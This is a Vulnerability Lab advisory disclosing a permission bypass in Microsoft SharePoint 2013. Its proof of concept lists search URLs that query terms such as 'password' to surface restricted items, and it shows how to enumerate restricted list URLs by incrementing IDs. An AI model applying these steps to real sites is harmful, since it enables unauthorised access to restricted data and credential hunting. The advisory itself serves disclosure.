MS Sharepoint 2013 - Limited Access Permission Bypass

Document Title:
===============
MS Sharepoint 2013 - Limited Access Permission Bypass


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2111


Release Date:
=============
2018-01-07


Vulnerability Laboratory ID (VL-ID):
====================================
2111


Common Vulnerability Scoring System:
====================================
4.8


Vulnerability Class:
====================
Filter or Protection Mechanism Bypass


Current Estimated Price:
========================
1.000€ - 2.000€


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a permission bypass vulnerability in the Microsoft Sharepoint online service web-application.


Vulnerability Disclosure Timeline:
==================================
2018-01-07: Public Disclosure (Vulnerability Laboratory)



Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Local


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (Guest Privileges)


User Interaction:
=================
No User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
A permission level bypass web vulnerability has been identified in the Microsoft Sharepoint 2013 online service 
web-application & maybe prior versions. The security vulnerability allows attackers to open or view restricted 
items in the site or library. An authenticated user can bypass `Limited Access` permissions to browse a page or 
library to access a specific content item that was restricted.


Proof of Concept (PoC):
=======================
POC 1:
1. Search for specific words inside web & mobile sharepoint search box: `password` `pass` `user` `domainuser` `name | lastname` ...

[~] web search: 	http://site/BSearch/results.aspx
[~] mobie search: 	http://site/_layouts/mobile/MobileResults.aspx

example : http://site/BSearch/results.aspx?k=password
example : http://site/BSearch/results.aspx?k="NSA1377"
example : http://site/_layouts/mobile/MobileResults.aspx?k=pass
example : http://site/_layouts/mobile/MobileResults.aspx?k=BOB

2. The page shown some of sharepoint's search results like restricted specific item, site, library urls etc
3. so click at the urls to access|viwe|read site page and other restricted library and items


POC 2:
After capturing packets between our system and the sharepoint site (use fiddler or burpsiute, wireshark ...) 
We have access to items, list, pages, sites urls like as follows:

http://site/IT/Lists/List70/AllItems.aspx

Access to restricted items & lists by make /LIST#/ urls 

Example:
http://site/IT/Lists/List100/AllItems.aspx
http://site/IT/Lists/List101/AllItems.aspx
http://site/IT/Lists/List102/AllItems.aspx


Security Risk:
==============
The security risk of the bypass vulnerability in the microsoft sharepoint 2013 application is estimated as medium (CVSS 4.8).


Credits & Authors:
==================
Behnam Vanda [[email protected]] [redhathackers] - https://www.vulnerability-lab.com/show.php?user=Behnam+Vanda


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=========================
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